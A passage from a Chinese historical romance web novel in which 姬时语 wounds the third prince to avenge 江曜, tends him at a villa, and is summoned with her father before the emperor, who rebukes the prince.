姬时语咬住唇瓣,强忍着的随时要夺眶而出的眼泪。
“姐姐,对不住……我又犯错了。”
姬时语忍不了。
看见江曜再次被江承北捅穿的一幕,她理智全无。
江曜胸前的破洞,她捂不上,血只往外冒。
前世今生,已是
第二回,让她亲眼看着江曜去死,她如何做得到?
那是她最心爱之人。
她那么喜欢他,怎么能让他死掉。
不是说好的吗?
他还要陪她一起,过好多的下一年。
可是江曜流了好多血啊,她止不住。
那些血,多的她根本擦不完。
姬时语咬住唇,再也忍不住,扑进姬合英怀中呜呜的哭。
江曜身上的血,刺激的她抑制不住她的双手。
颤抖的手,落满他的血。
她脑中只有一个念头,不计后果的。
杀了重伤的江曜之人。
此乃她的私心。
姬时语只能和姬合英,和忠义侯府赔罪道歉。
为她刺中江承北的那一剑。
第120章
“殿下!”
谁也没料到,看似柔软好脾气的五小姐,竟朝着三皇子大不敬,砍入他一剑。
始料未及的一幕,将众人打了个措手不及。
连三皇子府的众侍卫们也没来得及抵抗。
江承北捂着腰部倒地不起,侍卫们见状迅速集结,意图围攻。
姬合英一手环住妹妹,一手将她的头颅摁着护在怀里。
忠义侯府的侍卫们挡在前,以杨林为首,手持长刀,只待姬合英一声令下。
杨林回首发问:“姬大人? ”
“都给我住手。”
姬合英环顾扫视三皇子府的众人,她直起身,气势迫人,“我以女总兵之命,喝令你们放下武器。”
三皇子府的侍卫们俱是颤抖。
“再晚些送回城医治,三殿下的血可要流干了。”
姬合英垂下眼,一张英气的脸平静无波。
即使面对皇亲贵胄的三皇子江承北,她依旧做出了庇护胞妹的姿态。
“还不快去?”
姬合英再度喝令。
三皇子府的众侍卫慌忙收起刀剑,一个接一个的抬起哀嚎痛苦的江承北,急着往城中运送。
杨林目送一行人远去,再一望姬合英怀中的姬时语,心事却重重。
“姬大人,之后如何办?”
杨林欲言又止,是为姬时语刺伤三皇子一事而多心,他补道:“已到了江州地界,消息传回京中不过几个时辰,您看……”
“回京吧,我和阿锁去见爹娘。”
姬合英意已决,来时他们所乘的马车便在一旁,她揽过姬时语,问了她身子可好。
姬时语闷声应她一句。
姬合英便将小姑娘塞入马车,而自己则翻身上马。
杨林召集忠义侯府的侍从,整编往京城折返。
……
忠义侯府。
姬合英与姬时语同时归府,是让全府大为吃惊。
而两姐妹直直去了舒氏的海棠苑。
一入门,便见姬雄武此时亦在等候姐妹二人。
“阿锁!”
舒氏见小女儿一袭鹅黄袄裙染上半身鲜血,连娇俏白玉的脸蛋也落着星星点点的血迹,瞬间惊魂起来。
察觉大事已出,是当场心疼的掉下眼泪。
“阿锁,你,你是在外受了何等的委屈?”
姬合英言简意赅,“阿锁和三殿下起了争执。”
“都是他们逼得!”
舒氏哭着将姬时语抱入怀中,素净的小姑娘满身血污的归来,容不得她不多想,她又气又骂。
“侯爷啊,我们好好的女儿,是被皇室逼成何样了,您也不管管?”
姬雄武坐在原处,他没动,双手却攥紧,脸庞之上隐有暗流一鼓一鼓。
良久,姬雄武沉声开口:“合英,这事是谁先挑的头?”
“那时江曜亦在,是三殿下欺辱人,阿锁动手给了他一剑。”姬合英回。
姬雄武一巴掌拍在木桌上,那张本完好的四方桌刹那间断成两半。
忠义侯是真大动肝火。
“侯爷,大殿下和三殿下包藏祸心,两人为图侯府兵权算计至今,想娶我们的阿锁?门儿都没有!咱们没有退路可言,这回绝不能再让步。”
舒氏低低抽泣。
姬合英一听闻,怒极了:“他们还想求娶阿锁?”
姬雄武黑沉着脸。
“皇家哪来的脸?”
姬合英叫骂道:“大皇子妃才走了不足七日,大殿下便求娶阿锁做续弦,这让天下人如何看待我们阿锁?三殿下更是,莫不是让我妹妹去当侧妃?”
舒氏抹着眼泪,又抱紧小女儿,她是说给姬雄武听,也是哄姬时语。
“阿锁啊,皇室子嗣若真要逼迫侯府至死,那娘拼个鱼死网破也不会让他们得逞。阿锁不怕,娘已同外祖父去了信,爹和娘都在,绝不会让你嫁去皇子府上。”
姬时语小脸雪白,没有一丝血色。
她怏怏抬起头,哽咽的泪蓄在眼眶之中,半晌也未落下来。
“爹、娘,是我对不住侯府,三殿下会动手是因着问罪江曜,而我,我,我……”
姬时语说不下去了,论迹起来,全然是她的私心。
“你,你是说,三殿下是冲着云让去的?”舒氏愣愣问。
姬时语艰难地点点头,她咬住唇瓣,垂眸道:“爹,若是陛下要降罪,我同你一道入宫请罪,我愿意担下罪名,不论怎么说都是我伤了三皇子。”
舒氏心口酸痛,小女儿为护着江曜,重伤皇子,她多少深切其中的缘由。
姬时语从小便偏心她在乎之人。
从姐姐姬合英再到江曜,她倾注一颗真心的,便会视若珍宝的对待。
不容许外人欺负她身边人分毫。
而如今,舒氏已然偏心小女儿,不管江曜是不是她的二女婿,她恳求的眼都睇向姬雄武。
“侯爷,云让那孩子在楚王府孤立无援,他是我们看着长大的,连阿锁都不忍心看他遭难,您忍心吗?”
京中如何没有谣传,说江曜竟是划伤三皇子妃柳眉的脸,还将人丢在千寻山的破庙。
只是三皇子党寻不到证据,空有一张嘴,传的胡言乱语。
而安国公府为此,还找上了楚王府的门。
奈何楚王府闭门不开,众人只得悻悻离去。
忠义侯府的姬雄武与舒氏,比旁人清楚的多,为何江曜要迫害柳眉。
先撩者贱。
三皇子党屡翻与楚王府、胡家勾结,要江曜性命在先,又算计忠义侯府的兵权,柳眉更是出手欲将姬时语送入后宫。
只是没能得逞罢了。
但舒氏早就恨上三皇子党。
是以江曜对柳眉下手,舒氏非但没怪罪江曜,还欣慰他能为小女儿报复,以牙还牙。
都说岳母看女婿是越看越顺眼,眼下的舒氏便是心怀怜悯之意,“侯爷,我们要护着阿锁和云让,他们都是我们的孩子。”
姬雄武朝屋中的母女三人颔了首,他挺直脊梁,没再多话,便大步匆匆离院。
姬合英犹疑:“爹是要入宫?”
“你爹要为阿锁担着,不能再让皇室为所欲为,欺辱我们侯府的姑娘。”
舒氏似望见了风雨欲来。
……
姬时语回到忠义侯府后,舒氏又细细盘问两姐妹。
在得知江曜遭受重创,舒氏好似人受到打击,重重叹了一口气。
“他人在哪儿医治?”舒氏关切问。
姬合英回说:“应从江州在回京途中了。”
姬时语轻轻喊了一句:“娘。”
舒氏握住姬时语冰凉的手,她从小女儿眼里看出了急切和数不尽的担忧。
作为母亲,她又是一记叹息。
“知道你心切云让,我可以准许你出府,但你要避着些。眼下侯府和三皇子的纠纷未平,不可让外头人知晓你去往何地。”
“娘……”
姬时语有些震惊,舒氏竟一口应准她出府。
舒氏只是点头笑道:“去吧,换身干净衣服,你带着林大夫一同去,也好代我们照看着云让。”
姬时语心头早就归心似箭,是没再逗留。
她连忙回韶华院梳洗,再度从侧门离了忠义侯府。
林二亦是从江州而归,他跟在姬时语身边,在打听到五小姐有意去见自家主子之后,他便现了身。
江曜在江州的医馆医治刀伤,简单包扎过后,便被下手送回城郊的别庄。
姬时语没耽搁,立马往别庄赶去。
别庄有林一和楚明带人严防死守,几人察觉是忠义侯府的马车到来,松懈了警惕。
林一恭敬喊:“五
小姐。”
姬时语拨开林一便奔向主院内室,萍亭萍柳没入内,留在外院等候。
内室未点灯,正值申时,雕花床透出明亮的光,映在屋中,将那只青花瓷梅瓶的影子拉得很长。
床榻之上躺着一道身影,姬时语抬脚一步步走近。
似乎听到脚步声,床上的人侧来头,江曜一双紧闭的狐狸眼缓缓睁开。
他愣住一刹,不一会儿,眼底便蕴起密密麻麻的、浓郁的欣喜。
江曜清冷白皙的面庞没有血色,薄唇抖了抖,喊她:“阿锁……”
姬时语已大步扑到了床头,她牵住他落在被褥之外的手。
江曜的手掌比她大得多,她两只柔软的小手一起包住他的一只手。
“哥哥,你好些了吗?”
江曜没吭声。
他的狐狸眼仿若盛满光华,亮得灼热。
他如饥渴般盯着她那张娇艳粉嫩的脸,寸步也不肯挪开。
没有忘记。
那时候他故意没做抵抗,就是为当着姬时语的面,受下江承北的一刀。
他已然知晓,前世姬时语在他奄奄一息之时,路过只当没看见,避开了重伤的他。
这一世,他偏要再赌一回。
赌她是不是真的在乎他。
这亦是江曜给予姬时语,他最为沉重且深刻的爱。
为了这点微薄的意念,他可以心甘情愿地再奔赴一次死亡。
然而,他赌赢了。
他最爱的姑娘当真满心牵挂他、心疼他,更为了他,夺下刀剑,还以江承北致命的一击。
他好爱她这样啊。
怪他太执拗,想她永生都站在他这一边。
为此,不惜赔上这条命。
值了。
此时此刻,姬时语便握着他的手,她用柔软的脸蛋蹭着他的手背,宛如在无声的撒娇。
江曜心头有股执念骤然涌起,那么滚烫,那么炙热。
一双眼便火热的,直勾勾注视着那张娇颜。
“你作何一直看我呀?”
姬时语被他热烈的眼盯得不自在,她哼了哼,“我问你好些了吗,江曜,你又要和六年前那样做哑巴?”
“阿锁。”
江曜挪动另一只手臂,他的手才从被中举起,姬时语便捕捉到他手心的一物。
那是一根带血的绿色珠串。
两人一人一根,绿色是她的那根。
平安二字覆盖着干涸的血迹。
“阿锁,你的。”
江曜固执地看来,说着:“你落在我这儿了。”
在他右手手腕还系着她送的粉色珠串,是一样沾染斑驳的血迹。
姬时语的眼睫忍不住垂下,氤氲的水汽笼罩住她的眼眸。
咬了两下唇瓣,嘴唇都被咬出牙齿印。
最后她还是没忍住,哽咽哭出了声来。
“你真是的……怎么还一直带在身边啊。”
姬时语啪嗒的泪珠落在江曜手背,他想起身抱她,可胸口伤势太重,粗喘几口便栽回去,猛烈地咳嗽。
“快别动了!”
姬时语急得摁住他的手。
小姑娘眼眶红红,粉嫩的琼鼻也红了。
江曜只好边咳,边改用手背抚摸她的脸,“不要哭。”
姬时语本就不想哭的,但是少年冷淡的语音夹杂着温柔的关切,她抑郁不住眼角滚落的泪珠。
只好埋在他手心,闭上眼,抽了抽鼻子,任由泪水掉落。
“还不是你,就会惹我哭。”
姬时语闷声怪他,眼泪无助的往下掉。
江曜摸摸她的眉眼,又揉揉她的脸蛋。
他擦拭去她的眼泪,一只手在她脸上流转便没停下,直把姬时语摸得脸色飞红。
“你不要摸我了。”
姬时语有点嗔怪。
小姑娘眼尾水灵灵的,她说了不要,但还是回蹭着他的手,像很是依恋的样子。
江曜心头柔软的不行,他勾着她的脖子,让她的脸靠近在床头。
“阿锁,过来些。”
姬时语还在疑窦,下一刻,江曜便捉住了她的下巴尖,将她再度拉近。
他侧过头。
薄唇覆在她的唇上。
轻吻了她一下,他便加重力道,吮咬之后还是重抿,他的喘息愈发沉沉。
被他吻上,姬时语几乎不能呼吸。
“教了你许多回,阿锁还没学会啊。”
江曜贴着姬时语的唇瓣,轻轻说出一句,“张开嘴,让我亲,嗯?”
姬时语被他咬了一口,她的唇隐隐有些酥麻,当即便心生胆怯,想往后推步。
“你忘了在暗室应过我什么?”
江曜不准她逃离,又张口含住了她的。
他那双狐狸眼,升起浓厚的沉郁,仿佛偏执的爱潮。
“还不够呢,我好几日没亲过你了,这回要一起补回来。阿锁,身上也给我亲一回,乖……”
姬时语被他亲得手心直生起薄汗。
江曜一提,她想起来在暗室的时候,她被他双臂圈在怀抱。
提抱起来时,她被迫应下江曜尤其不讲道理的话。
他想亲她身上美好的地方,每一处。
每一回亲,里里外外都得让他够着。
姬时语羞得脸颊滚烫,她想推他,又不敢大力推他,怕弄疼江曜胸口的伤。
“阿锁听话,张嘴。”
“唔……哥哥,我嘴疼……”
姬时语开口说话的间隙,被江曜抓了个正着,径直霸道的闯/入。
他说过,是要她的所有,不管哪里,他都想得到。
他是她的,她也是他的。【你现在阅读的是 】
120-130
第121章
“别,好了……嗯。”
姬时语被江曜亲得很重,鼻息间喘不上气,白玉脸颊尽数染了粉。
她几番推搡,终是从江曜手里挣脱。
小姑娘水眸泛春情,眼尾如丝轻眨几许,江曜便还想再多亲亲她。
然而姬时语抬起手心,挡住他的唇。
江曜顿住,狐狸眼静静睨她。
一亲上唇,便是没完没了。
在暗室那时候,她便被他折腾的够呛,亲唇还算是好说的,最过分的是,江曜喜欢她身上的各处。
他意有所指,姬时语恼得想打他。
被他哄骗主动圈上他的腰时,她忘却了两人之间还不曾成亲,如今被江曜提起,她便不愿面对这件事。
再多的,还不是被他勾着来的?
太不要脸了。
姬时语含羞满面,“真不能再亲,我的嘴好似都肿了,疼……”
她脸皮太薄,即便两人已互通心意,白日光天之下,她还是做不出太出阁之事。
江曜便是知晓她性子,才会在暗室之中,没了外人与光亮,可劲的缠着她说些难为情的话。
也只有那时候,姬时语会不顾及其他,随他的心意,小嘴吐出诸多害羞之言。
这会儿目光灼灼,江曜哑着声道:“那何时阿锁能主动让我亲? ”
“你还说!”
姬时语是真气恼了,作势掐他一把。
小姑娘气鼓鼓地,眉眼竖起哼了出来,“江曜,我是纵着你,但你莫要做太过火了。”
“阿锁。”
如今江曜便握住她细软的柔荑,放到冰冷的脸上,眯起眼笑了笑,蹭着她的手。
他低声喃喃:“阿锁,我好想你。”
“伤还痛不痛?”
江曜顿了顿,刚想说不痛了,可一瞥见她满含关切的眼,顿时咳嗽起来,边压抑着蹙眉。
他道:“好痛。”
“江曜,你真是的……”
姬时语猫瞳之中布满心疼,她怨怪他,可更心疼他,“你每回都把自己伤得厉害,我真讨厌你这样。何时你才能不受伤呢,我不想你受伤了。”
“那你得时时刻刻在我边上守着我。”
江曜垂眸,隐去眼底的阴暗,他一颗恶劣的心,明白的摆出给了姬时语看。
他在说。
这辈子,他都要她的。
姬时语哪里听不出来,小脸一刹那便布满了红晕。
每回说正经话,都会被江曜搅合的不正经,她才是苦闷呢。
正待姬时语要恼江曜几句,隔着布帘,室外响起一道断断续续的咳嗽声。
“咳咳咳。”
林大夫在外室等的焦急,来回踱步,后实在耐不住了,便隔着间,朝里头发了问。
“五小姐,老夫可否能进去了?”
“呀!”
惊觉外室还有人在,姬时语脸红,惊得飞快甩开了江曜的手。
那岂不是两人方才那些亲密举动,是让林大夫瞧见了个清清楚楚?
“林爷爷,你进来吧。”
姬时语羞得捂住脸,起身应了一句,便抬脚要走。
江曜及时捉住她的手,他满目期许,舍不得她走,眼神十足眷恋。
于心不忍之下,姬时语还是坐回了床头边的小杌子。
林大夫入室时,见到的便是这一幕。
江曜仰躺在床榻之上,手心攥着姬时语的手,将一根绿色珠串,系在了她洁白的手腕。
他五根手指皆穿入她的指,合拢很紧,再又小心翼翼地将她全然包住。
林大夫是彻底噎住。
这两人怎就这么腻歪的?
早前也是这般吗?
是从何时起,两人竟有了情意绵绵之感,让他这个五荀老者,见到都只觉得如是不日之后成亲的小夫妻?
五六年前两人在忠义侯府时常寻见他诊治,那时候林大夫只当江曜是寻常小儿,得了机缘,能跟在五小姐身边做一个小侍卫。
时过境迁,江曜竟一步步走上了二品官身。
还找回亲生父亲,当朝楚王。
他已成赫赫有名的少年将军,并光明正大的陪伴在了姬时语的身边。
林大夫真是唏嘘。
可打心底的,为两人感到开怀。
郎才女貌,最是堪佩。
他这个外人看得清楚,江曜一心唯有忠义侯府的五小姐,这样将五小姐放在心坎上疼的男人。
世间不多得这等人。
因此林大夫上前来,掀开江曜身上的被褥,得见他胸膛破开的血痕,颦眉顿了手指。
“还好位子偏了几分,没伤及心和肺腑,我且开几幅药,每日煎熬三回,先养三个月。”
林大夫没忘记江曜的本性,儿时便是拼命的,长大性子更得了,他又叮嘱几句。
“江大人身上若有公务,还是尽快推掉,这些时日,卧床在榻,怎么都得静养。”
姬时语狠狠揉了一把江曜的手,“听到了吗?你得遵医嘱。”
江曜反问道:“三殿下那面如何了?”
“我爹已去入宫面圣,到时应要带我一同去,我还要向陛下请罪,不过……这些事你不要操心了。”
姬时语默默说着,江曜挪动身子便想起身,奈何胸前伤口一崩裂,鲜血便溢出麻布。
“别动!”
姬时语一个板脸,凶巴巴地让他躺了回去,“都说了伤未愈合,折腾个什么呢?”
“刀伤可不易养,江大人近日要忌大喜大悲,多平复情绪,在屋中休养生息。连累伤口复发的话,再好的药也不得治。”
林大夫亦是劝说,他明白江曜性子乖张,使了个眼神递给姬时语,让小姑娘多多上心。
“五小姐,这可不是闹着玩,这等伤养不好,往后易伤身体根本。”
“林爷爷,我都记住了。”
林大夫笑说:“那老夫将方子给萍亭。”
“好。”
林大夫退离了内室,姬时语应着颔首,边掖了江曜的被子,给少年盖好。
“阿锁。”
江曜牵住姬时语的手,他眉宇充斥着森寒,“这事是因我而起,我非得要去见楚王和皇帝。”
“好了,江曜,你得听我的话,先在这处养病,万事等你病好再说。”
“阿锁。”
江曜清冷的脸颊彰显着抗拒的神色,姬时语亦是摆了脸,她言辞凿凿,郑重认真。
“不准。江曜,我不想将你关起来,但你若非要,我也不得不如此了。”
“你还要关起来我?”
“那是自然,你不听话,我便让人抬你入暗室,关在里头。没我的命令,我不准他们放你出来。”
江曜垂下狐狸眼,静静冷冷。
姬时语不给他反驳,她下了命,嘴硬非常,“你得听我的,莫想有的没的,你身子虚弱,我会嫌弃,往后我才不要你的。”
“你不要我?”
闻言,江曜霎时抬起黑沉沉的眼瞳,他身前的小姑娘故意说着反话,是骗他又哄他。
于是姬时语的下一句便是娇俏的笑。
“对呀,所以你得养好,你太弱了,我就不愿意嫁给你啊。但你好好养病,身子康健后,能抱得动我了,举起我时,我再嫁给你!”
江曜若有所思,他沉声说:“阿锁,我单手便可抱起你。”
姬时语笑盈盈的眼一滞,她还未应声,那头江曜阴暗的眸涌起了愉悦的兴奋,他嗓音低沉悠长。
“阿锁忘了吗?那时我一只手抱着你,你还怕掉下去,腿圈上了我的腰,还将铁链缠在我的手臂上……”
“够了!”
姬时语面皮瞬间红透,她眼睛不知道放哪儿好了,飞快朝后看,瞧了瞧林大夫可是远去,屋外应没人伺候着。
这么一瞧,空无一人,唯有他们两人。
这么羞人的话,得亏没被外人听进耳里。
江曜每回万事不顾及,想说便说,姬时语比不得他,总是十足羞赧。
“为何不让我说?阿锁在暗室可喜欢我那么摸你、亲你,你还觉着很舒服,说着要我再来一回。”
姬时语稍稍松懈,然而江曜愉悦的生了笑,是在揶揄她那时主动又热情。
江曜兀自说着:“怎么出了暗室,你就翻脸不认人?还是说阿锁就喜欢去暗室随我做各样的事,在外头只是因害羞不肯承认?”
“你好讨厌啊!不许你说了。”
她扑过去,便捂住了江曜的嘴。
两人大眼瞪小眼,江曜的狐狸眼染着喜色,姬时语看也不愿看他,扭头便扭捏、气哼哼的鼓脸。
“那时是那时,如今是如今,我已不是那时候的我了。”
姬时语再度警告床上不老实的少年。
每回最让人操心不已的便是他好折腾,不光折腾自己,还折腾她。
她威胁道:“江曜,你要知道,我们二人还未定亲,更不论何时成亲,只要我不想,我爹娘便不会答应的。”
果不其然,一句话下来。
江曜的脸色已是阴沉,他那双眼陇上阴云,很是不悦。
姬时语自诩拿捏到了少年,她是恼他喜欢胡来,但眼下她很是喜欢他啊。
因此他这点小脾气,她也觉着可爱的很。
是她满心喜欢的哥哥。
她便喜欢逗他,故意耍小性子惹他着急,看他在乎她,满眼都是她。
姬时语就浑身满足。
她捂住他的唇没放,倾身压了过去,没碰着江曜的伤口,便凑过去啄了一下他高挺的鼻梁。
都说鼻梁高挺,在那档子事上总不绕人,喜欢没完没了的纠缠。
姬时语虽没与江曜走最后一步亲密,但暗室之中她被咬得酸麻,浑身四处的肌肤皆是吻_痕。
而腿_更生了破皮。
她猜到江曜便是这等人。
比她写的话本子中的小将军还要过分。
姬时语咕哝,哼了几声,还是亲昵地凑过去亲吻他。
她再亲他的眉眼。
小姑娘的唇瓣柔软的很,轻吻如羽毛落脸,含着满心欢喜和怜爱。
她真的很喜欢他。
“我说了,你得养回从前那样,健康英勇,我想要去哪里,你都得抱着我去,知道吗?”
姬时语做完这些,是满意他的乖顺,笑嘻嘻说道:“你得听我的呀,我才会心甘情愿的嫁给你!”
江曜没吭声,像是应了。
第122章
愿意嫁给他。……
姬时语便留在了江曜的别庄。
四月晴日多,早前的阴雨一扫而空,拂去人们心头的烦懑,日光正好。
林一与楚明无人不识得姬时语,姬时语在这里,如同半个主子。
姬时语发了话,一众人便得听从。
别庄被严防死守,不允外人探视,姬时语要江曜安心养病。
而楚王府派遣人来,姬时语听是楚王妃的人,便让林一将人打发走了。
楚王的身边人,便放进主院一见江曜。
江曜瞥坐在榻上的姬时语,道:“阿锁,还要几日我才能回京?”
“休想。”
姬时语闲来无事便捧着江曜房中的话本端瞧,兵书居多,她看得竟未觉得无味。
轻睨床中的江曜一眼,复而视线又落回书上。
正待看到一处,三十六计,走为上策。
姬时语说道:“你应知道,我爹入宫面见陛下,是为上交侯府的兵权,如今爹娘命我离京暂避,我还走不成呢,你想走?”
江曜缄默。
小姑娘窝在一张贵妃榻中,她褪去绣花鞋,双腿蜷缩于裙中,交叠侧卧而倒,乌黑的长发垂顺落于前肩。
姿态很是怡然自得。
像已将江曜的主院当作了自家。
姬时语说的实话。
前几日忠义侯姬雄武径直入宫,寻见弘文帝。
因小女儿姬时语几次遭皇冑党的算计,如今更是被牵连其中。
姬雄武不得忍耐,他直言坦诚,请求弘文帝收回忠义侯府在岭西所执掌的十万兵权。
此事不光引得弘文帝震怒,连整个朝堂亦被惊动。
忠义侯府镇守岭西已是远有二十余年,这十万兵权从老忠义侯姬老太爷一手传下,后交给他的嫡长子姬雄武。
京中无人置喙过忠义侯的不是。
若非忠义侯府祖孙三代镇守边关,岭西早已沦为大陇地界,哪里还能有如今的安居乐业?
那年大陇举兵再犯,由大陇的君主长子领军,后恶战五年,才被姬雄武与江曜、姬合英齐心击退。
大陇就此平息,再不敢犯朝。
此等壮举,朝中无一人,敢在弘文帝跟前说道忠义侯不堪执掌十万大军。
而弘文帝心中又如何不清楚呢?
他有心起复五军都督府,便是大力栽培朝中新秀,期盼大将军之位后继有人。
即便江曜乃是白家后人,是白斩霍的侄子,弘文帝也并未牵连。
朝中能有一位肱股之臣已是不易,若忠臣频频遭猜忌,待大敌当前之时,便是无人可用,无可抵抗。
因此,弘文帝很是不快,斥责忠义侯姬雄武:“爱卿是对朕不满,觉着朕亏待了你们忠义侯府?”
“绝非如此。”
姬雄武郑重跪地磕了头,言辞真心真切,“陛下,臣实在拿不住手中的十万兵权,两位殿下左右不过为了侯府的兵权,便几次强迫臣的小女儿。为了女儿,臣也不敢再掌这兵权。”
曹云适时地上前,轻声在弘文帝耳边说了事由的来龙去脉。
“两位殿下如拈酸把醋似得,是在五小姐这事上较劲……还将楚王府的长公子江大人牵扯进去。三殿下出城寻江大人质问,恼火之下中伤了江大人,恰好被赶来的五小姐瞧见,便……”
曹云惶恐地低头,“五小姐便刺了三殿下一剑。”
“老三和江曜……荒唐,太荒唐了!”
弘文帝一时听得怔愣,“怎这事还和江曜有干系了?”
“是小女罪过,惹了两位殿下的眼,还请陛下恕罪。”
姬雄武立刻重重恳求:“陛下,臣愿为小女担当罪名,请陛下责罚。”
“这……”
曹云瞅了一眼脸色难看的姬雄武,他刚要作解释,殿外小太监掐着嗓子喊:“启禀陛下,楚王爷求见呐!”
弘文帝挥手,“放他进来。”
一顶金黄的肩舆被抬入殿中。
楚王见忠义侯姬雄武亦在,心中顿时明白,便与弘文帝先行大礼。
弘文帝冷哼:“你也知道两位皇子和江曜的那些事儿了?”
楚王先是一愣,“什么……”
“是冲冠一怒为红颜啊!”
曹云恭敬禀道:“楚王爷,江大人和两位殿下皆心系五小姐,为此大打出手,忠义侯便是为此负荆请罪,要让出兵权以示赔罪。”
“不错,陛下,臣来此,是为代曜儿向您请罪。”
楚王唉声叹气,好似老脸挂不住,为有江曜这么个儿子操碎了心。
“曜儿与五小姐青梅竹马六余年,是爱慕五小姐至今。因臣身子不好,曜儿也才归府没多久,还未来得及寻媒人登侯府的门,和忠义侯相商,没成想……便闹成了这副模样。”
“臣也未想到,三殿下竟当场捅了云让一刀。”
楚王的面色一下便沉痛起来,他真是担忧江曜这个儿子。
姬雄武叹气,跟了道:“但事出有因,陛下,还是怪罪小女吧,是她重伤三殿下尊容,该罚的该是侯府。”
楚王迅速补道:“不,陛下,臣身为曜儿的亲父,子不教父之过,他能惹三殿下不快,便是他的错,陛下还是责罚臣吧。”
忠义侯府和楚王府你一言我一句,说的上首坐在龙椅的弘文帝面色愈发黑沉。
两人为孩子担罪名,恳请弘文帝降罪。
听在弘文帝耳中是那般刺耳。
好像在说他教不好两个儿子,若论事出有因,也该论大皇子江承运和江承北动以不该动的心思。
江曜和姬时语本就是青梅竹马长大的兄妹,两人感情深厚,江承北在姬时语眼前捅伤江曜,姬时语便一怒之下还了江承北。
子不教父之过,一切的缘由竟成了弘文帝自己。
一瞬间,弘文帝重重朝后靠去,嗓音好似苍老了十岁。
“罢了,你们都起来吧,老三有错在先,朕怪不到侯府和楚王府的头上。”
楚王欣喜一笑,便乘胜追击,“陛下,既然说到这件事上了,曜儿心仪五小姐已久,陛下不愿两位殿下再因党争相斗,不如……臣斗胆请您,为臣的大儿子江曜赐婚。”
这一回,弘文帝和姬雄武齐齐看向楚王。
姬雄武的脸是真如煤炭。
请罪就请罪,楚王先斩后奏,向弘文帝讨江曜和姬时语的赐婚圣旨。
还没问他们忠义侯府的乐意不乐意呢?
……
七日后,江曜伤势好转,已是可以半坐起身。
姬时语取来一只软垫置于他的后腰,江曜靠坐着,她从萍亭手中接过药碗,端来喂他吃药。
一日三顿,苦涩发沉,江曜默不吭声,每回面无表情地喝完。
今日才吃罢药,林一匆匆入内禀报。
“五小姐,侯府的马车前来接您回京,侯爷有令,您得随他入宫面圣。”
“我知道了。”
姬时语起身点头,在别庄待了太久,早听闻爹入宫上交兵权,为此她心中极其不踏实。
犯错的是她,她该回京入宫求得弘文帝的宽恕。
只是爹娘俱是不让她归京,还差人来,只说她安心待在别庄等着消息。
如今消息已到,姬时语便也坦然地坐上了侯府的马车。
归京不过一刻钟,姬时语再度下车时,已是来到皇宫的朱红门殿之前。
这回没有旁人,领她入宫的仅有她的父亲姬雄武。
父女俩一前一后,走至去往太和殿的甬道上。
皇宫冷清,除却入目的红墙黄瓦,甚至不见一分艳色。
良久,姬雄武叹了口气,开口问道:“阿锁,你同爹说实话,你可是真心喜欢着云让,盼着嫁给他?”
姬时语先是愣然,反应过来便不自觉羞红脸。
可是姬雄武能在这时候问她,必然有他的用意。
姬时语便也不愿再装疯卖傻,她头一回在父亲面前亲口承认了心意。
“是,爹爹,我喜欢江曜,想嫁给他为妻。”
“即使楚王府诸多纷扰,你也不怕?”
“我不怕。”
姬时语生得娇俏明媚的容貌,一双猫瞳似水潋滟,偏这副娇柔样貌之下,那颗心却是如此坚韧和不动。
一如他们忠
义侯府的本就坚定不拔的传袭。
好半晌姬雄武也未开口,直到两人快临近太和殿,姬时语才听到亲爹的恼火谩骂。
“我看你就是把老子的话当耳边风,你姐姐那门亲事再怎么着老子都能帮她抢亲,你说说你看上谁不好,非看上那个兔崽子,上头不愿意你让老子怎么帮你抢他回来?”
姬雄武尤为苦恼,粗犷的脸因而愁容,“早知道不让云让认亲了,当年就该把他定下来,直接让那小子入赘侯府得了。”
“爹爹……”
“那小子有什么好的,值得你还为他伤了三殿下?害我女儿如此苦,老子没打断他的腿都是好的。”
姬雄武气不打一出来,老父亲这会儿看江曜是十分有十二分的不顺眼。
“爹!”
姬时语好笑的凑过去扶住姬雄武,娇憨的撒娇:“你就莫说他的不是了,哥哥已过的很不易,我们该多心疼他啊!”
“还没嫁过去就偏心他,阿锁,你可真伤爹的心。”
“爹,才不是……”
姬时语欲掰扯清楚,可眼见太和殿已在眼前。
曹云便候在殿门口,朝父女俩两人轻笑。
“是时候了,走吧。”
姬雄武便站在她手边,姬时语微微昂首,他宽厚的手掌拍拍她的肩膀,很是厚实与温暖。
“阿锁,不用怕,爹在这呢。”
姬时语的眼便润了,她应道:“好。”
父女俩便跟随曹云入了殿门。
“臣女姬时语参见陛下,陛下万岁万岁万万岁。”
姬时语跟随姬雄武入殿后,便恭敬地跪在殿内中央的金砖地面之上。
“姬五小姐,便是你近来引得皇亲贵胄的争端啊。”
弘文帝龙威肃穆,他俯视着殿内身形纤细的忠义侯府五小姐姬时语。
“回殿下,臣女不敢,是恰好入了殿下们的眼。”
膝盖微凉,可姬时语不敢抬头,她姿态恭敬,行了大礼。
她一袭素雅的青菱翠玉莲花裙,如水碧波浅淡,头戴珊瑚八宝瑞祥簪,尽管素雅,依旧挡不住眉眼的娇俏明媚。
弘文帝思忖,莫怪楚王府的江曜早年便对此女情窦深种。
心中冷哼过后,弘文帝便侧目望向三皇子江承北,问他:“老三,你可有话要说?”
江承北面色发白,他双目盯着姬时语是参了愤怒的恨。
姬时语伤他那一剑正中他后腰,剑锋不深,可后腰脆弱,养到现在也未好上几分,他连行走都变得极其困难。
江承北怒斥:“父皇,五小姐是有意中伤儿臣!”
弘文帝冰凉的目光便落在了姬时语的头上,她惊察到,顿时浑身一颤垂下首。
“陛下,刺三殿下的那一剑,是臣女的不是。可这亦是三殿下动手在先,楚王府的江大人乃是臣女的兄长,他伤江大人,臣女看不下去。”
姬时语说到后,也知道辩驳是徒劳,抖着嘴唇白了脸,“臣女自知伤了皇子尊贵之身,请陛下责罚。”
“父皇,你看姬时语都认了罪。”
江承北一听姬时语已是认错,当即便兴奋道:“这事怎能饶恕忠义侯府?就该重重的罚!”
“你想怎么罚?要朕撤了忠义侯的官职不成?”
弘文帝对江承北可真是失望透顶。
喊几个人入太和殿,陛下有意要亲眼见江承北如何看待忠义侯府。
现在,他看清了。
老三是非不分,仗着皇室高贵,对待下臣白眼。
在他跟前,都能如此贬低肱股之臣,若他去了还得了?
同室操戈,江山倒覆。
八个字如同利剑,劈开弘文帝的双眼。
“五小姐还是一介女流,都知道做了错事该当自省,而你呢?老三,你早不是稚子,连认错的胆子竟都没。”
弘文帝越想越气,就差指着江承北的鼻子骂道:“混账东西,你连五小姐都不如!”
“父皇!”
江承北被骂得脸红脖子粗。
“住口!你和你大皇兄真是一个赛一个的让朕失望。”
